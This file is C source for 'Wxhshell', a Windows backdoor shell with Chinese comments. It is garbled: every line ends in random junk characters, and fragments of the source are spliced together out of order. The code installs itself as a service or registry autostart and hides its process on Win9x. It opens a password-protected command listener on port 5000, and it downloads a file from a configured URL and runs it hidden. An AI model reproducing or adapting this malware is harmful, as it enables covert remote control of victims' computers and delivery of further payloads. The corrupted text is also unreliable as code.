ULONG InheritedFromUniqueProcessId; jl9hFubwW
} PROCESS_BASIC_INFORMATION; TXdo,DPv7
{.eo?dQ
PROCNTQSIP NtQueryInformationProcess; *O_>3Hgl
w{mw?0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xu\s2x$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w$iQ,--
R#HVrzOO|T
HANDLE hProcess; xIA] 5@;a
PROCESS_BASIC_INFORMATION pbi; OYSq)!:
'hR0JXy
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GHY+q{'#V_
if(NULL == hInst ) return 0; KT[ZOtu
K
@RGvP
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DQ<4`wE M
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nr&bpA/
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ijP`fM8
Fs"i fn0
if (!NtQueryInformationProcess) return 0; ?zex]!R
>$,P )cB'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .d I".L
if(!hProcess) return 0; D%L^[|)c\s
oz:"w
nX
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #/_{(P
't6l@_x
CloseHandle(hProcess); |M`'
gFqF&t
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #N"m[$;QR
if(hProcess==NULL) return 0; E5!vw@,
A3)"+`&PUl
HMODULE hMod; zZ6m`]{B9?
char procName[255]; 4_kY^"*#"
unsigned long cbNeeded; }ZK%@b>
,~ q:rh+
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^"<x4e9+j
'Lq+ONX5
CloseHandle(hProcess); & .0A%
{0~\ T[qm
if(strstr(procName,"services")) return 1; // 以服务启动 s]]lB018O\
;4l8Qg
7
return 0; // 注册表启动 ?VlGTMaS+
} ~UJ.A<>Fh
-L+kt_>
// 主模块 ,OWk[0/
int StartWxhshell(LPSTR lpCmdLine) UB/"&I uo
{ h4jo<yp\
SOCKET wsl; .fbY2b([
BOOL val=TRUE; ?5FlbiT
int port=0; !B 4z U:d
struct sockaddr_in door;
9u^M{6
)X?oBNsj
if(wscfg.ws_autoins) Install(); FRuPv6
{CV+1kz
port=atoi(lpCmdLine); r4pX47H
d(|q&b:
if(port<=0) port=wscfg.ws_port; " i:[|7
q>Di|5<y
WSADATA data; 3m= _a
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l]4=W<N
!NH(EWER
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; e8rZP(g&g
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cI P.5)Ca
door.sin_family = AF_INET; /v^'5j1o
door.sin_addr.s_addr = inet_addr("127.0.0.1"); h;,1BpbM
door.sin_port = htons(port); f-3CDUQ`
fGb}V'x}r
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { udu<Nis4
closesocket(wsl); {.542}A
return 1; 1~ W@[D
} 4j~q,#$LW
~n-Px)
if(listen(wsl,2) == INVALID_SOCKET) { Pr1qX5> =
closesocket(wsl); _aR{B-E
return 1; ulxfxfd
} WW+xU0
Wxhshell(wsl); -=nk,cYn
WSACleanup(); Ie(i1?`A8
&nDXn|
return 0; a M9v
L/Q[N^ (^
} o!:Z?.!
1l$2T
y+
=
// 以NT服务方式启动 (IBT|K
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XjF@kQeM=
{ dpTsTU!\
DWORD status = 0; arDl2T,igF
DWORD specificError = 0xfffffff; g!R7CRt%
GQ;0KIN
serviceStatus.dwServiceType = SERVICE_WIN32; n1J u=C
serviceStatus.dwCurrentState = SERVICE_START_PENDING; kh9'W<tE
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u Jqv@GFv
serviceStatus.dwWin32ExitCode = 0; `0\Z*^>
serviceStatus.dwServiceSpecificExitCode = 0; PFuhvw~?
serviceStatus.dwCheckPoint = 0; nm@h5ON_
serviceStatus.dwWaitHint = 0; z3y{0<3
iP0m1
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N2O *g`YC
if (hServiceStatusHandle==0) return; r5DRF4,7
V_:`K$
status = GetLastError(); S7)qq
if (status!=NO_ERROR) U3X5tED
{ EW|$qLg
serviceStatus.dwCurrentState = SERVICE_STOPPED; ao2^3e
serviceStatus.dwCheckPoint = 0; nS04Ha
serviceStatus.dwWaitHint = 0; uR ?W|a
serviceStatus.dwWin32ExitCode = status; j@>D]j
serviceStatus.dwServiceSpecificExitCode = specificError; q0NFz mG
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W}f)VC;D
return; }:m/@LKB
} ux<|8S
o5bp~.m<
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1ZI1+TDH
serviceStatus.dwCheckPoint = 0; M@R"-$Z
serviceStatus.dwWaitHint = 0; S3\NB3@qC&
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eCYPd-d
} Fp/{L
C3}:DIn"w
// 处理NT服务事件,比如:启动、停止 >G:Q/3jh
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~ubvdQEW
{ hI'WfF!X
switch(fdwControl) rW)h?, b
{ !l9{R8m>eJ
case SERVICE_CONTROL_STOP: pcy;]U?
serviceStatus.dwWin32ExitCode = 0; <{isWEW9]3
serviceStatus.dwCurrentState = SERVICE_STOPPED; jc&k-d>=G
serviceStatus.dwCheckPoint = 0; !&{rnK
serviceStatus.dwWaitHint = 0; au{)5W4~
{ 5dm ~yQN/
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SXk.7bMV6
} k
ucbI_
return; x~V[}4E%>
case SERVICE_CONTROL_PAUSE: 3PE.7-HF
serviceStatus.dwCurrentState = SERVICE_PAUSED; 4yxQq7
m,
break; 0G+Q^]0
case SERVICE_CONTROL_CONTINUE: 8@t8P5(vL
serviceStatus.dwCurrentState = SERVICE_RUNNING; UGSZg|&6#*
break; {V6&((E8
case SERVICE_CONTROL_INTERROGATE: #7i*Diqf9
break; J,F1Xmr4
}; p?i.<Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fOV_ >]u
} 4.!1odKp
} ?j5V
// 标准应用程序主函数 @@AL@.*
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w}ji]V}
{ t3@+idE b
&BRk<iwV
// 获取操作系统版本 L[x`i'0B
OsIsNt=GetOsVer(); /eI|m9ke
GetModuleFileName(NULL,ExeFile,MAX_PATH); G&ck98
0
0N[
:%
// 从命令行安装 .xN<<+|_v'
if(strpbrk(lpCmdLine,"iI")) Install(); X`.##S KC
zmo2uUEd
// 下载执行文件 i"h\*B=
if(wscfg.ws_downexe) { w:t~M[kTW
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $*ff]>#
WinExec(wscfg.ws_filenam,SW_HIDE); DZSS
} :C:6bDQ
!Y ,7%
if(!OsIsNt) { AS7L
// 如果时win9x,隐藏进程并且设置为注册表启动 Az&>.*
HideProc(); iFd
!ED
StartWxhshell(lpCmdLine); { ADd[V
} $aV62uNf
else .d<K` .O;
if(StartFromService()) <tD,Uu{P
// 以服务方式启动 YvJFZ_faX
StartServiceCtrlDispatcher(DispatchTable); j'D%eQI,V
else WXy8<?s
// 普通方式启动 ~*HQPp?v
StartWxhshell(lpCmdLine); 0P$1=oK
8A#,*@V[
return 0; ~CNB3r5R
} MgeC-XQM
|Xt.[1
o701RG~)
csy6_q(
=========================================== MTu\T
2:38CdkYp
'(.5!7?Qc
h.edb6
e9{ii2M
$
VT)
" |'h(S|
L/i'6(="
#include <stdio.h> z@,pT"rb
#include <string.h> 1SExlU
#include <windows.h>
7kLurv
#include <winsock2.h> )ros-dp`
#include <winsvc.h> ZC?~RXL(
#include <urlmon.h> (Ceru o S
1#vu)a1+b
#pragma comment (lib, "Ws2_32.lib") 2Re8rcQQU
#pragma comment (lib, "urlmon.lib") ^B<-.(F
4fi4F1 f
#define MAX_USER 100 // 最大客户端连接数 mkSu
$c
#define BUF_SOCK 200 // sock buffer A(2 0+
#define KEY_BUFF 255 // 输入 buffer r8EJ@pOF2w
@Tu`0=8
#define REBOOT 0 // 重启 T8S&9BM7
#define SHUTDOWN 1 // 关机 L1SX2F8
?w:\0j5~
#define DEF_PORT 5000 // 监听端口 D_l$"35?
zDvV%+RW)
#define REG_LEN 16 // 注册表键长度 $MR1
*_\V
#define SVC_LEN 80 // NT服务名长度 pr<u
5
n9Fq^^?
// 从dll定义API evyjHc Cx
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RN`TUCQL
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :Qa*-)rs
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \rr"EAk]
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G<C D4:V
#:?:gY<
// wxhshell配置信息 BZ?w}%-MO
struct WSCFG { JN8Rh
int ws_port; // 监听端口 aT,WXW*
char ws_passstr[REG_LEN]; // 口令 & DP"RWT/
int ws_autoins; // 安装标记, 1=yes 0=no bW`nLiw}%
char ws_regname[REG_LEN]; // 注册表键名 wq?"NQ?O<
char ws_svcname[REG_LEN]; // 服务名 Vh0cac|X
char ws_svcdisp[SVC_LEN]; // 服务显示名 jkk%zu
char ws_svcdesc[SVC_LEN]; // 服务描述信息 zZMKgFR@
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (dg,w*t'
int ws_downexe; // 下载执行标记, 1=yes 0=no <WUgH6"
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PhAfEsD
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jRsl/dmy
|b\a)1Po:
}; z};|.N}
rZgu`5<a
// default Wxhshell configuration -
|pe D
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struct WSCFG wscfg={DEF_PORT, v.RA{a 9
"xuhuanlingzhe", -|V#U`mwF
1, H,D5)1Uu
"Wxhshell", JZ}zXv
"Wxhshell", S<T'B0r8
"WxhShell Service", ?=7k<a~
"Wrsky Windows CmdShell Service", }XUL\6 U
"Please Input Your Password: ", wqG#jC!5
1, &k'<